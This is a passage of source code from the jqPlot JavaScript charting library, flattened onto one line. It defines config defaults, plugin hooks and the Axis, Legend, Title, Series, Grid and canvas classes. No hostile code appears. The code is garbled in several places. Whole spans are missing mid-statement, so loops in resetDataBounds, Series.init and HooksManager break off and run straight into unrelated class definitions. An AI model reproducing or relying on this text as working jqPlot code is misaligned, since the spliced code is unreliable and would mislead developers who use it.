"#6E3F5F", "#4F64B0", "#A89050", "#C45923", "#187399", "#945381", "#959E5C", "#C7AF7B", "#478396", "#907294"], dashLength: 4, gapLength: 4, dotGapLength: 2.5, srcLocation: 'jqplot/src/', pluginLocation: 'jqplot/src/plugins/' }; $.jqplot.arrayMax = function( array ){ return Math.max.apply( Math, array ); }; $.jqplot.arrayMin = function( array ){ return Math.min.apply( Math, array ); }; $.jqplot.enablePlugins = $.jqplot.config.enablePlugins; // canvas related tests taken from modernizer: // Copyright (c) 2009 - 2010 Faruk Ates. // http://www.modernizr.com $.jqplot.support_canvas = function() { if (typeof $.jqplot.support_canvas.result == 'undefined') { $.jqplot.support_canvas.result = !!document.createElement('canvas').getContext; } return $.jqplot.support_canvas.result; }; $.jqplot.support_canvas_text = function() { if (typeof $.jqplot.support_canvas_text.result == 'undefined') { if (window.G_vmlCanvasManager !== undefined && window.G_vmlCanvasManager._version > 887) { $.jqplot.support_canvas_text.result = true; } else { $.jqplot.support_canvas_text.result = !!(document.createElement('canvas').getContext && typeof document.createElement('canvas').getContext('2d').fillText == 'function'); } } return $.jqplot.support_canvas_text.result; }; $.jqplot.use_excanvas = ((!$.support.boxModel || !$.support.objectAll || !$support.leadingWhitespace) && !$.jqplot.support_canvas()) ? true : false; /** * * Hooks: jqPlot Pugin Hooks * * $.jqplot.preInitHooks - called before initialization. * $.jqplot.postInitHooks - called after initialization. * $.jqplot.preParseOptionsHooks - called before user options are parsed. * $.jqplot.postParseOptionsHooks - called after user options are parsed. * $.jqplot.preDrawHooks - called before plot draw. * $.jqplot.postDrawHooks - called after plot draw. * $.jqplot.preDrawSeriesHooks - called before each series is drawn. * $.jqplot.postDrawSeriesHooks - called after each series is drawn. * $.jqplot.preDrawLegendHooks - called before the legend is drawn. * $.jqplot.addLegendRowHooks - called at the end of legend draw, so plugins * can add rows to the legend table. * $.jqplot.preSeriesInitHooks - called before series is initialized. * $.jqplot.postSeriesInitHooks - called after series is initialized. * $.jqplot.preParseSeriesOptionsHooks - called before series related options * are parsed. * $.jqplot.postParseSeriesOptionsHooks - called after series related options * are parsed. * $.jqplot.eventListenerHooks - called at the end of plot drawing, binds * listeners to the event canvas which lays on top of the grid area. * $.jqplot.preDrawSeriesShadowHooks - called before series shadows are drawn. * $.jqplot.postDrawSeriesShadowHooks - called after series shadows are drawn. * */ $.jqplot.preInitHooks = []; $.jqplot.postInitHooks = []; $.jqplot.preParseOptionsHooks = []; $.jqplot.postParseOptionsHooks = []; $.jqplot.preDrawHooks = []; $.jqplot.postDrawHooks = []; $.jqplot.preDrawSeriesHooks = []; $.jqplot.postDrawSeriesHooks = []; $.jqplot.preDrawLegendHooks = []; $.jqplot.addLegendRowHooks = []; $.jqplot.preSeriesInitHooks = []; $.jqplot.postSeriesInitHooks = []; $.jqplot.preParseSeriesOptionsHooks = []; $.jqplot.postParseSeriesOptionsHooks = []; $.jqplot.eventListenerHooks = []; $.jqplot.preDrawSeriesShadowHooks = []; $.jqplot.postDrawSeriesShadowHooks = []; // A superclass holding some common properties and methods. $.jqplot.ElemContainer = function() { this._elem; this._plotWidth; this._plotHeight; this._plotDimensions = {height:null, width:null}; }; $.jqplot.ElemContainer.prototype.createElement = function(el, offsets, clss, cssopts, attrib) { this._offsets = offsets; var klass = clss || 'jqplot'; var elem = document.createElement(el); this._elem = $(elem); this._elem.addClass(klass); this._elem.css(cssopts); this._elem.attr(attrib); // avoid memory leak; elem = null; return this._elem; }; $.jqplot.ElemContainer.prototype.getWidth = function() { if (this._elem) { return this._elem.outerWidth(true); } else { return null; } }; $.jqplot.ElemContainer.prototype.getHeight = function() { if (this._elem) { return this._elem.outerHeight(true); } else { return null; } }; $.jqplot.ElemContainer.prototype.getPosition = function() { if (this._elem) { return this._elem.position(); } else { return {top:null, left:null, bottom:null, right:null}; } }; $.jqplot.ElemContainer.prototype.getTop = function() { return this.getPosition().top; }; $.jqplot.ElemContainer.prototype.getLeft = function() { return this.getPosition().left; }; $.jqplot.ElemContainer.prototype.getBottom = function() { return this._elem.css('bottom'); }; $.jqplot.ElemContainer.prototype.getRight = function() { return this._elem.css('right'); }; /** * Class: Axis * An individual axis object. Cannot be instantiated directly, but created * by the Plot object. Axis properties can be set or overridden by the * options passed in from the user. * */ function Axis(name) { $.jqplot.ElemContainer.call(this); // Group: Properties // // Axes options are specified within an axes object at the top level of the // plot options like so: // > { // > axes: { // > xaxis: {min: 5}, // > yaxis: {min: 2, max: 8, numberTicks:4}, // > x2axis: {pad: 1.5}, // > y2axis: {ticks:[22, 44, 66, 88]} // > } // > } // There are 2 x axes, 'xaxis' and 'x2axis', and // 9 yaxes, 'yaxis', 'y2axis'. 'y3axis', ... Any or all of which may be specified. this.name = name; this._series = []; // prop: show // Wether to display the axis on the graph. this.show = false; // prop: tickRenderer // A class of a rendering engine for creating the ticks labels displayed on the plot, // See <$.jqplot.AxisTickRenderer>. this.tickRenderer = $.jqplot.AxisTickRenderer; // prop: tickOptions // Options that will be passed to the tickRenderer, see <$.jqplot.AxisTickRenderer> options. this.tickOptions = {}; // prop: labelRenderer // A class of a rendering engine for creating an axis label. this.labelRenderer = $.jqplot.AxisLabelRenderer; // prop: labelOptions // Options passed to the label renderer. this.labelOptions = {}; // prop: label // Label for the axis this.label = null; // prop: showLabel // true to show the axis label. this.showLabel = true; // prop: min // minimum value of the axis (in data units, not pixels). this.min = null; // prop: max // maximum value of the axis (in data units, not pixels). this.max = null; // prop: autoscale // DEPRECATED // the default scaling algorithm produces superior results. this.autoscale = false; // prop: pad // Padding to extend the range above and below the data bounds. // The data range is multiplied by this factor to determine minimum and maximum axis bounds. // A value of 0 will be interpreted to mean no padding, and pad will be set to 1.0. this.pad = 1.2; // prop: padMax // Padding to extend the range above data bounds. // The top of the data range is multiplied by this factor to determine maximum axis bounds. // A value of 0 will be interpreted to mean no padding, and padMax will be set to 1.0. this.padMax = null; // prop: padMin // Padding to extend the range below data bounds. // The bottom of the data range is multiplied by this factor to determine minimum axis bounds. // A value of 0 will be interpreted to mean no padding, and padMin will be set to 1.0. this.padMin = null; // prop: ticks // 1D [val, val, ...] or 2D [[val, label], [val, label], ...] array of ticks for the axis. // If no label is specified, the value is formatted into an appropriate label. this.ticks = []; // prop: numberTicks // Desired number of ticks. Default is to compute automatically. this.numberTicks; // prop: tickInterval // number of units between ticks. Mutually exclusive with numberTicks. this.tickInterval; // prop: renderer // A class of a rendering engine that handles tick generation, // scaling input data to pixel grid units and drawing the axis element. this.renderer = $.jqplot.LinearAxisRenderer; // prop: rendererOptions // renderer specific options. See <$.jqplot.LinearAxisRenderer> for options. this.rendererOptions = {}; // prop: showTicks // Wether to show the ticks (both marks and labels) or not. // Will not override showMark and showLabel options if specified on the ticks themselves. this.showTicks = true; // prop: showTickMarks // Wether to show the tick marks (line crossing grid) or not. // Overridden by showTicks and showMark option of tick itself. this.showTickMarks = true; // prop: showMinorTicks // Wether or not to show minor ticks. This is renderer dependent. this.showMinorTicks = true; // prop: drawMajorGridlines // True to draw gridlines for major axis ticks. this.drawMajorGridlines = true; // prop: drawMinorGridlines // True to draw gridlines for minor ticks. this.drawMinorGridlines = false; // prop: drawMajorTickMarks // True to draw tick marks for major axis ticks. this.drawMajorTickMarks = true; // prop: drawMinorTickMarks // True to draw tick marks for minor ticks. This is renderer dependent. this.drawMinorTickMarks = true; // prop: useSeriesColor // Use the color of the first series associated with this axis for the // tick marks and line bordering this axis. this.useSeriesColor = false; // prop: borderWidth // width of line stroked at the border of the axis. Defaults // to the width of the grid boarder. this.borderWidth = null; // prop: borderColor // color of the border adjacent to the axis. Defaults to grid border color. this.borderColor = null; // prop: scaleToHiddenSeries // True to include hidden series when computing axes bounds and scaling. this.scaleToHiddenSeries = false; // minimum and maximum values on the axis. this._dataBounds = {min:null, max:null}; // statistics (min, max, mean) as well as actual data intervals for each series attached to axis. // holds collection of {intervals:[], min:, max:, mean: } objects for each series on axis. this._intervalStats = []; // pixel position from the top left of the min value and max value on the axis. this._offsets = {min:null, max:null}; this._ticks=[]; this._label = null; // prop: syncTicks // true to try and synchronize tick spacing across multiple axes so that ticks and // grid lines line up. This has an impact on autoscaling algorithm, however. // In general, autoscaling an individual axis will work better if it does not // have to sync ticks. this.syncTicks = null; // prop: tickSpacing // Approximate pixel spacing between ticks on graph. Used during autoscaling. // This number will be an upper bound, actual spacing will be less. this.tickSpacing = 75; // Properties to hold the original values for min, max, ticks, tickInterval and numberTicks // so they can be restored if altered by plugins. this._min = null; this._max = null; this._tickInterval = null; this._numberTicks = null; this.__ticks = null; // hold original user options. this._options = {}; } Axis.prototype = new $.jqplot.ElemContainer(); Axis.prototype.constructor = Axis; Axis.prototype.init = function() { if ($.isFunction(this.renderer)) { this.renderer = new this.renderer(); } // set the axis name this.tickOptions.axis = this.name; // if showMark or showLabel tick options not specified, use value of axis option. // showTicks overrides showTickMarks. if (this.tickOptions.showMark == null) { this.tickOptions.showMark = this.showTicks; } if (this.tickOptions.showMark == null) { this.tickOptions.showMark = this.showTickMarks; } if (this.tickOptions.showLabel == null) { this.tickOptions.showLabel = this.showTicks; } if (this.label == null || this.label == '') { this.showLabel = false; } else { this.labelOptions.label = this.label; } if (this.showLabel == false) { this.labelOptions.show = false; } // set the default padMax, padMin if not specified // special check, if no padding desired, padding // should be set to 1.0 if (this.pad == 0) { this.pad = 1.0; } if (this.padMax == 0) { this.padMax = 1.0; } if (this.padMin == 0) { this.padMin = 1.0; } if (this.padMax == null) { this.padMax = (this.pad-1)/2 + 1; } if (this.padMin == null) { this.padMin = (this.pad-1)/2 + 1; } // now that padMin and padMax are correctly set, reset pad in case user has supplied // padMin and/or padMax this.pad = this.padMax + this.padMin - 1; if (this.min != null || this.max != null) { this.autoscale = false; } // if not set, sync ticks for y axes but not x by default. if (this.syncTicks == null && this.name.indexOf('y') > -1) { this.syncTicks = true; } else if (this.syncTicks == null){ this.syncTicks = false; } this.renderer.init.call(this, this.rendererOptions); }; Axis.prototype.draw = function(ctx, plot) { // Memory Leaks patch if (this.__ticks) { this.__ticks = null; } return this.renderer.draw.call(this, ctx, plot); }; Axis.prototype.set = function() { this.renderer.set.call(this); }; Axis.prototype.pack = function(pos, offsets) { if (this.show) { this.renderer.pack.call(this, pos, offsets); } // these properties should all be available now. if (this._min == null) { this._min = this.min; this._max = this.max; this._tickInterval = this.tickInterval; this._numberTicks = this.numberTicks; this.__ticks = this._ticks; } }; // reset the axis back to original values if it has been scaled, zoomed, etc. Axis.prototype.reset = function() { this.renderer.reset.call(this); }; Axis.prototype.resetScale = function(opts) { $.extend(true, this, {min: null, max: null, numberTicks: null, tickInterval: null, _ticks: [], ticks: []}, opts); this.resetDataBounds(); }; Axis.prototype.resetDataBounds = function() { // Go through all the series attached to this axis and find // the min/max bounds for this axis. var db = this._dataBounds; db.min = null; db.max = null; var l, s, d; // check for when to force min 0 on bar series plots. var doforce = (this.show) ? true : false; for (var i=0; i db.max) || db.max == null) { db.max = d[j][0]; } } else { if ((d[j][minyidx] != null && d[j][minyidx] < db.min) || db.min == null) { db.min = d[j][minyidx]; } if ((d[j][maxyidx] != null && d[j][maxyidx] > db.max) || db.max == null) { db.max = d[j][maxyidx]; } } } // Hack to not pad out bottom of bar plots unless user has specified a padding. // every series will have a chance to set doforce to false. once it is set to // false, it cannot be reset to true. // If any series attached to axis is not a bar, wont force 0. if (doforce && s.renderer.constructor !== $.jqplot.BarRenderer) { doforce = false; } else if (doforce && this._options.hasOwnProperty('forceTickAt0') && this._options.forceTickAt0 == false) { doforce = false; } else if (doforce && s.renderer.constructor === $.jqplot.BarRenderer) { if (s.barDirection == 'vertical' && this.name != 'xaxis' && this.name != 'x2axis') { if (this._options.pad != null || this._options.padMin != null) { doforce = false; } } else if (s.barDirection == 'horizontal' && (this.name == 'xaxis' || this.name == 'x2axis')) { if (this._options.pad != null || this._options.padMin != null) { doforce = false; } } } } } if (doforce && this.renderer.constructor === $.jqplot.LinearAxisRenderer && db.min >= 0) { this.padMin = 1.0; this.forceTickAt0 = true; } }; /** * Class: Legend * Legend object. Cannot be instantiated directly, but created * by the Plot object. Legend properties can be set or overridden by the * options passed in from the user. */ function Legend(options) { $.jqplot.ElemContainer.call(this); // Group: Properties // prop: show // Wether to display the legend on the graph. this.show = false; // prop: location // Placement of the legend. one of the compass directions: nw, n, ne, e, se, s, sw, w this.location = 'ne'; // prop: labels // Array of labels to use. By default the renderer will look for labels on the series. // Labels specified in this array will override labels specified on the series. this.labels = []; // prop: showLabels // true to show the label text on the legend. this.showLabels = true; // prop: showSwatch // true to show the color swatches on the legend. this.showSwatches = true; // prop: placement // "insideGrid" places legend inside the grid area of the plot. // "outsideGrid" places the legend outside the grid but inside the plot container, // shrinking the grid to accommodate the legend. // "inside" synonym for "insideGrid", // "outside" places the legend ouside the grid area, but does not shrink the grid which // can cause the legend to overflow the plot container. this.placement = "insideGrid"; // prop: xoffset // DEPRECATED. Set the margins on the legend using the marginTop, marginLeft, etc. // properties or via CSS margin styling of the .jqplot-table-legend class. this.xoffset = 0; // prop: yoffset // DEPRECATED. Set the margins on the legend using the marginTop, marginLeft, etc. // properties or via CSS margin styling of the .jqplot-table-legend class. this.yoffset = 0; // prop: border // css spec for the border around the legend box. this.border; // prop: background // css spec for the background of the legend box. this.background; // prop: textColor // css color spec for the legend text. this.textColor; // prop: fontFamily // css font-family spec for the legend text. this.fontFamily; // prop: fontSize // css font-size spec for the legend text. this.fontSize ; // prop: rowSpacing // css padding-top spec for the rows in the legend. this.rowSpacing = '0.5em'; // renderer // A class that will create a DOM object for the legend, // see <$.jqplot.TableLegendRenderer>. this.renderer = $.jqplot.TableLegendRenderer; // prop: rendererOptions // renderer specific options passed to the renderer. this.rendererOptions = {}; // prop: predraw // Wether to draw the legend before the series or not. // Used with series specific legend renderers for pie, donut, mekko charts, etc. this.preDraw = false; // prop: marginTop // CSS margin for the legend DOM element. This will set an element // CSS style for the margin which will override any style sheet setting. // The default will be taken from the stylesheet. this.marginTop = null; // prop: marginRight // CSS margin for the legend DOM element. This will set an element // CSS style for the margin which will override any style sheet setting. // The default will be taken from the stylesheet. this.marginRight = null; // prop: marginBottom // CSS margin for the legend DOM element. This will set an element // CSS style for the margin which will override any style sheet setting. // The default will be taken from the stylesheet. this.marginBottom = null; // prop: marginLeft // CSS margin for the legend DOM element. This will set an element // CSS style for the margin which will override any style sheet setting. // The default will be taken from the stylesheet. this.marginLeft = null; // prop: escapeHtml // True to escape special characters with their html entity equivalents // in legend text. "<" becomes < and so on, so html tags are not rendered. this.escapeHtml = false; this._series = []; $.extend(true, this, options); } Legend.prototype = new $.jqplot.ElemContainer(); Legend.prototype.constructor = Legend; Legend.prototype.setOptions = function(options) { $.extend(true, this, options); // Try to emulate deprecated behaviour // if user has specified xoffset or yoffset, copy these to // the margin properties. if (this.placement == 'inside') { this.placement = 'insideGrid'; } if (this.xoffset >0) { if (this.placement == 'insideGrid') { switch (this.location) { case 'nw': case 'w': case 'sw': if (this.marginLeft == null) { this.marginLeft = this.xoffset + 'px'; } this.marginRight = '0px'; break; case 'ne': case 'e': case 'se': default: if (this.marginRight == null) { this.marginRight = this.xoffset + 'px'; } this.marginLeft = '0px'; break; } } else if (this.placement == 'outside') { switch (this.location) { case 'nw': case 'w': case 'sw': if (this.marginRight == null) { this.marginRight = this.xoffset + 'px'; } this.marginLeft = '0px'; break; case 'ne': case 'e': case 'se': default: if (this.marginLeft == null) { this.marginLeft = this.xoffset + 'px'; } this.marginRight = '0px'; break; } } this.xoffset = 0; } if (this.yoffset >0) { if (this.placement == 'outside') { switch (this.location) { case 'sw': case 's': case 'se': if (this.marginTop == null) { this.marginTop = this.yoffset + 'px'; } this.marginBottom = '0px'; break; case 'ne': case 'n': case 'nw': default: if (this.marginBottom == null) { this.marginBottom = this.yoffset + 'px'; } this.marginTop = '0px'; break; } } else if (this.placement == 'insideGrid') { switch (this.location) { case 'sw': case 's': case 'se': if (this.marginBottom == null) { this.marginBottom = this.yoffset + 'px'; } this.marginTop = '0px'; break; case 'ne': case 'n': case 'nw': default: if (this.marginTop == null) { this.marginTop = this.yoffset + 'px'; } this.marginBottom = '0px'; break; } } this.yoffset = 0; } // TO-DO: // Handle case where offsets are < 0. // }; Legend.prototype.init = function() { if ($.isFunction(this.renderer)) { this.renderer = new this.renderer(); } this.renderer.init.call(this, this.rendererOptions); }; Legend.prototype.draw = function(offsets, plot) { for (var i=0; i<$.jqplot.preDrawLegendHooks.length; i++){ $.jqplot.preDrawLegendHooks[i].call(this, offsets); } return this.renderer.draw.call(this, offsets, plot); }; Legend.prototype.pack = function(offsets) { this.renderer.pack.call(this, offsets); }; /** * Class: Title * Plot Title object. Cannot be instantiated directly, but created * by the Plot object. Title properties can be set or overridden by the * options passed in from the user. * * Parameters: * text - text of the title. */ function Title(text) { $.jqplot.ElemContainer.call(this); // Group: Properties // prop: text // text of the title; this.text = text; // prop: show // whether or not to show the title this.show = true; // prop: fontFamily // css font-family spec for the text. this.fontFamily; // prop: fontSize // css font-size spec for the text. this.fontSize ; // prop: textAlign // css text-align spec for the text. this.textAlign; // prop: textColor // css color spec for the text. this.textColor; // prop: renderer // A class for creating a DOM element for the title, // see <$.jqplot.DivTitleRenderer>. this.renderer = $.jqplot.DivTitleRenderer; // prop: rendererOptions // renderer specific options passed to the renderer. this.rendererOptions = {}; // prop: escapeHtml // True to escape special characters with their html entity equivalents // in title text. "<" becomes < and so on, so html tags are not rendered. this.escapeHtml = false; } Title.prototype = new $.jqplot.ElemContainer(); Title.prototype.constructor = Title; Title.prototype.init = function() { if ($.isFunction(this.renderer)) { this.renderer = new this.renderer(); } this.renderer.init.call(this, this.rendererOptions); }; Title.prototype.draw = function(width) { return this.renderer.draw.call(this, width); }; Title.prototype.pack = function() { this.renderer.pack.call(this); }; /** * Class: Series * An individual data series object. Cannot be instantiated directly, but created * by the Plot object. Series properties can be set or overridden by the * options passed in from the user. */ function Series(options) { options = options || {}; $.jqplot.ElemContainer.call(this); // Group: Properties // Properties will be assigned from a series array at the top level of the // options. If you had two series and wanted to change the color and line // width of the first and set the second to use the secondary y axis with // no shadow and supply custom labels for each: // > { // > series:[ // > {color: '#ff4466', lineWidth: 5, label:'good line'}, // > {yaxis: 'y2axis', shadow: false, label:'bad line'} // > ] // > } // prop: show // whether or not to draw the series. this.show = true; // prop: xaxis // which x axis to use with this series, either 'xaxis' or 'x2axis'. this.xaxis = 'xaxis'; this._xaxis; // prop: yaxis // which y axis to use with this series, either 'yaxis' or 'y2axis'. this.yaxis = 'yaxis'; this._yaxis; this.gridBorderWidth = 2.0; // prop: renderer // A class of a renderer which will draw the series, // see <$.jqplot.LineRenderer>. this.renderer = $.jqplot.LineRenderer; // prop: rendererOptions // Options to pass on to the renderer. this.rendererOptions = {}; this.data = []; this.gridData = []; // prop: label // Line label to use in the legend. this.label = ''; // prop: showLabel // true to show label for this series in the legend. this.showLabel = true; // prop: color // css color spec for the series this.color; // prop: negativeColor // css color spec used for filled (area) plots that are filled to zero and // the "useNegativeColors" option is true. this.negativeColor; // prop: lineWidth // width of the line in pixels. May have different meanings depending on renderer. this.lineWidth = 2.5; // prop: lineJoin // Canvas lineJoin style between segments of series. this.lineJoin = 'round'; // prop: lineCap // Canvas lineCap style at ends of line. this.lineCap = 'round'; // prop: linePattern // line pattern 'dashed', 'dotted', 'solid', some combination // of '-' and '.' characters such as '.-.' or a numerical array like // [draw, skip, draw, skip, ...] such as [1, 10] to draw a dotted line, // [1, 10, 20, 10] to draw a dot-dash line, and so on. this.linePattern = 'solid'; this.shadow = true; // prop: shadowAngle // Shadow angle in degrees this.shadowAngle = 45; // prop: shadowOffset // Shadow offset from line in pixels this.shadowOffset = 1.25; // prop: shadowDepth // Number of times shadow is stroked, each stroke offset shadowOffset from the last. this.shadowDepth = 3; // prop: shadowAlpha // Alpha channel transparency of shadow. 0 = transparent. this.shadowAlpha = '0.1'; // prop: breakOnNull // Wether line segments should be be broken at null value. // False will join point on either side of line. this.breakOnNull = false; // prop: markerRenderer // A class of a renderer which will draw marker (e.g. circle, square, ...) at the data points, // see <$.jqplot.MarkerRenderer>. this.markerRenderer = $.jqplot.MarkerRenderer; // prop: markerOptions // renderer specific options to pass to the markerRenderer, // see <$.jqplot.MarkerRenderer>. this.markerOptions = {}; // prop: showLine // whether to actually draw the line or not. Series will still be renderered, even if no line is drawn. this.showLine = true; // prop: showMarker // whether or not to show the markers at the data points. this.showMarker = true; // prop: index // 0 based index of this series in the plot series array. this.index; // prop: fill // true or false, whether to fill under lines or in bars. // May not be implemented in all renderers. this.fill = false; // prop: fillColor // CSS color spec to use for fill under line. Defaults to line color. this.fillColor; // prop: fillAlpha // Alpha transparency to apply to the fill under the line. // Use this to adjust alpha separate from fill color. this.fillAlpha; // prop: fillAndStroke // If true will stroke the line (with color this.color) as well as fill under it. // Applies only when fill is true. this.fillAndStroke = false; // prop: disableStack // true to not stack this series with other series in the plot. // To render properly, non-stacked series must come after any stacked series // in the plot's data series array. So, the plot's data series array would look like: // > [stackedSeries1, stackedSeries2, ..., nonStackedSeries1, nonStackedSeries2, ...] // disableStack will put a gap in the stacking order of series, and subsequent // stacked series will not fill down through the non-stacked series and will // most likely not stack properly on top of the non-stacked series. this.disableStack = false; // _stack is set by the Plot if the plot is a stacked chart. // will stack lines or bars on top of one another to build a "mountain" style chart. // May not be implemented in all renderers. this._stack = false; // prop: neighborThreshold // how close or far (in pixels) the cursor must be from a point marker to detect the point. this.neighborThreshold = 4; // prop: fillToZero // true will force bar and filled series to fill toward zero on the fill Axis. this.fillToZero = false; // prop: fillToValue // fill a filled series to this value on the fill axis. // Works in conjunction with fillToZero, so that must be true. this.fillToValue = 0; // prop: fillAxis // Either 'x' or 'y'. Which axis to fill the line toward if fillToZero is true. // 'y' means fill up/down to 0 on the y axis for this series. this.fillAxis = 'y'; // prop: useNegativeColors // true to color negative values differently in filled and bar charts. this.useNegativeColors = true; this._stackData = []; // _plotData accounts for stacking. If plots not stacked, _plotData and data are same. If // stacked, _plotData is accumulation of stacking data. this._plotData = []; // _plotValues hold the individual x and y values that will be plotted for this series. this._plotValues = {x:[], y:[]}; // statistics about the intervals between data points. Used for auto scaling. this._intervals = {x:{}, y:{}}; // data from the previous series, for stacked charts. this._prevPlotData = []; this._prevGridData = []; this._stackAxis = 'y'; this._primaryAxis = '_xaxis'; // give each series a canvas to draw on. This should allow for redrawing speedups. this.canvas = new $.jqplot.GenericCanvas(); this.shadowCanvas = new $.jqplot.GenericCanvas(); this.plugins = {}; // sum of y values in this series. this._sumy = 0; this._sumx = 0; this._type = ''; this.step = false; } Series.prototype = new $.jqplot.ElemContainer(); Series.prototype.constructor = Series; Series.prototype.init = function(index, gridbw, plot) { // weed out any null values in the data. this.index = index; this.gridBorderWidth = gridbw; var d = this.data; var temp = [], i, l; for (i=0, l=d.length; i. this.renderer = $.jqplot.CanvasGridRenderer; // prop: rendererOptions // Options to pass on to the renderer, // see <$.jqplot.CanvasGridRenderer>. this.rendererOptions = {}; this._offsets = {top:null, bottom:null, left:null, right:null}; } Grid.prototype = new $.jqplot.ElemContainer(); Grid.prototype.constructor = Grid; Grid.prototype.init = function() { if ($.isFunction(this.renderer)) { this.renderer = new this.renderer(); } this.renderer.init.call(this, this.rendererOptions); }; Grid.prototype.createElement = function(offsets,plot) { this._offsets = offsets; return this.renderer.createElement.call(this, plot); }; Grid.prototype.draw = function() { this.renderer.draw.call(this); }; $.jqplot.GenericCanvas = function() { $.jqplot.ElemContainer.call(this); this._ctx; }; $.jqplot.GenericCanvas.prototype = new $.jqplot.ElemContainer(); $.jqplot.GenericCanvas.prototype.constructor = $.jqplot.GenericCanvas; $.jqplot.GenericCanvas.prototype.createElement = function(offsets, clss, plotDimensions, plot) { this._offsets = offsets; var klass = 'jqplot'; if (clss != undefined) { klass = clss; } var elem; elem = plot.canvasManager.getCanvas(); // if new plotDimensions supplied, use them. if (plotDimensions != null) { this._plotDimensions = plotDimensions; } elem.width = this._plotDimensions.width - this._offsets.left - this._offsets.right; elem.height = this._plotDimensions.height - this._offsets.top - this._offsets.bottom; this._elem = $(elem); this._elem.css({ position: 'absolute', left: this._offsets.left, top: this._offsets.top }); this._elem.addClass(klass); elem = plot.canvasManager.initCanvas(elem); elem = null; return this._elem; }; $.jqplot.GenericCanvas.prototype.setContext = function() { this._ctx = this._elem.get(0).getContext("2d"); return this._ctx; }; // Memory Leaks patch $.jqplot.GenericCanvas.prototype.resetCanvas = function() { if (this._elem) { if ($.jqplot.use_excanvas && window.G_vmlCanvasManager.uninitElement !== undefined) { window.G_vmlCanvasManager.uninitElement(this._elem.get(0)); } //this._elem.remove(); this._elem.emptyForce(); } this._ctx = null; }; $.jqplot.HooksManager = function () { this.hooks =[]; this.args = []; }; $.jqplot.HooksManager.prototype.addOnce = function(fn, args) { args = args || []; var havehook = false; for (var i=0, l=this.hooks.length; i { // > axesDefaults:{min:0}, // > series:[{color:'#6633dd'}], // > title: 'A Plot' // > } // // prop: animate // True to animate the series on initial plot draw (renderer dependent). // Actual animation functionality must be supported in the renderer. this.animate = false; // prop: animateReplot // True to animate series after a call to the replot() method. // Use with caution! Replots can happen very frequently under // certain circumstances (e.g. resizing, dragging points) and // animation in these situations can cause problems. this.animateReplot = false; // prop: axes // up to 4 axes are supported, each with its own options, // See for axis specific options. this.axes = {xaxis: new Axis('xaxis'), yaxis: new Axis('yaxis'), x2axis: new Axis('x2axis'), y2axis: new Axis('y2axis'), y3axis: new Axis('y3axis'), y4axis: new Axis('y4axis'), y5axis: new Axis('y5axis'), y6axis: new Axis('y6axis'), y7axis: new Axis('y7axis'), y8axis: new Axis('y8axis'), y9axis: new Axis('y9axis'), yMidAxis: new Axis('yMidAxis')}; this.baseCanvas = new $.jqplot.GenericCanvas(); // true to intercept right click events and fire a 'jqplotRightClick' event. // this will also block the context menu. this.captureRightClick = false; // prop: data // user's data. Data should *NOT* be specified in the options object, // but be passed in as the second argument to the $.jqplot() function. // The data property is described here soley for reference. // The data should be in the form of an array of 2D or 1D arrays like // > [ [[x1, y1], [x2, y2],...], [y1, y2, ...] ]. this.data = []; // prop: dataRenderer // A callable which can be used to preprocess data passed into the plot. // Will be called with 3 arguments: the plot data, a reference to the plot, // and the value of dataRendererOptions. this.dataRenderer; // prop: dataRendererOptions // Options that will be passed to the dataRenderer. // Can be of any type. this.dataRendererOptions; this.defaults = { // prop: axesDefaults // default options that will be applied to all axes. // see for axes options. axesDefaults: {}, axes: {xaxis:{}, yaxis:{}, x2axis:{}, y2axis:{}, y3axis:{}, y4axis:{}, y5axis:{}, y6axis:{}, y7axis:{}, y8axis:{}, y9axis:{}, yMidAxis:{}}, // prop: seriesDefaults // default options that will be applied to all series. // see for series options. seriesDefaults: {}, series:[] }; // prop: defaultAxisStart // 1-D data series are internally converted into 2-D [x,y] data point arrays // by jqPlot. This is the default starting value for the missing x or y value. // The added data will be a monotonically increasing series (e.g. [1, 2, 3, ...]) // starting at this value. this.defaultAxisStart = 1; // this.doCustomEventBinding = true; // prop: drawIfHidden // True to execute the draw method even if the plot target is hidden. // Generally, this should be false. Most plot elements will not be sized/ // positioned correclty if renderered into a hidden container. To render into // a hidden container, call the replot method when the container is shown. this.drawIfHidden = false; this.eventCanvas = new $.jqplot.GenericCanvas(); // prop: fillBetween // Fill between 2 line series in a plot. // Options object: // { // series1: first index (0 based) of series in fill // series2: second index (0 based) of series in fill // color: color of fill [default fillColor of series1] // baseSeries: fill will be drawn below this series (0 based index) // fill: false to turn off fill [default true]. // } this.fillBetween = { series1: null, series2: null, color: null, baseSeries: 0, fill: true }; // prop; fontFamily // css spec for the font-family attribute. Default for the entire plot. this.fontFamily; // prop: fontSize // css spec for the font-size attribute. Default for the entire plot. this.fontSize; // prop: grid // See for grid specific options. this.grid = new Grid(); // prop: legend // see <$.jqplot.TableLegendRenderer> this.legend = new Legend(); // prop: noDataIndicator // Options to set up a mock plot with a data loading indicator if no data is specified. this.noDataIndicator = { show: false, indicator: 'Loading Data...', axes: { xaxis: { min: 0, max: 10, tickInterval: 2, show: true }, yaxis: { min: 0, max: 12, tickInterval: 3, show: true } } }; // prop: negativeSeriesColors // colors to use for portions of the line below zero. this.negativeSeriesColors = $.jqplot.config.defaultNegativeColors; // container to hold all of the merged options. Convienence for plugins. this.options = {}; this.previousSeriesStack = []; // Namespace to hold plugins. Generally non-renderer plugins add themselves to here. this.plugins = {}; // prop: series // Array of series object options. // see for series specific options. this.series = []; // array of series indices. Keep track of order // which series canvases are displayed, lowest // to highest, back to front. this.seriesStack = []; // prop: seriesColors // Ann array of CSS color specifications that will be applied, in order, // to the series in the plot. Colors will wrap around so, if their // are more series than colors, colors will be reused starting at the // beginning. For pie charts, this specifies the colors of the slices. this.seriesColors = $.jqplot.config.defaultColors; // prop: sortData // false to not sort the data passed in by the user. // Many bar, stacked and other graphs as well as many plugins depend on // having sorted data. this.sortData = true; // prop: stackSeries // true or false, creates a stack or "mountain" plot. // Not all series renderers may implement this option. this.stackSeries = false; // a shortcut for axis syncTicks options. Not implemented yet. this.syncXTicks = true; // a shortcut for axis syncTicks options. Not implemented yet. this.syncYTicks = true; // the jquery object for the dom target. this.target = null; // The id of the dom element to render the plot into this.targetId = null; // prop textColor // css spec for the css color attribute. Default for the entire plot. this.textColor; // prop: title // Title object. See for specific options. As a shortcut, you // can specify the title option as just a string like: title: 'My Plot' // and this will create a new title object with the specified text. this.title = new Title(); // Count how many times the draw method has been called while the plot is visible. // Mostly used to test if plot has never been dran (=0), has been successfully drawn // into a visible container once (=1) or draw more than once into a visible container. // Can use this in tests to see if plot has been visibly drawn at least one time. // After plot has been visibly drawn once, it generally doesn't need redrawing if its // container is hidden and shown. 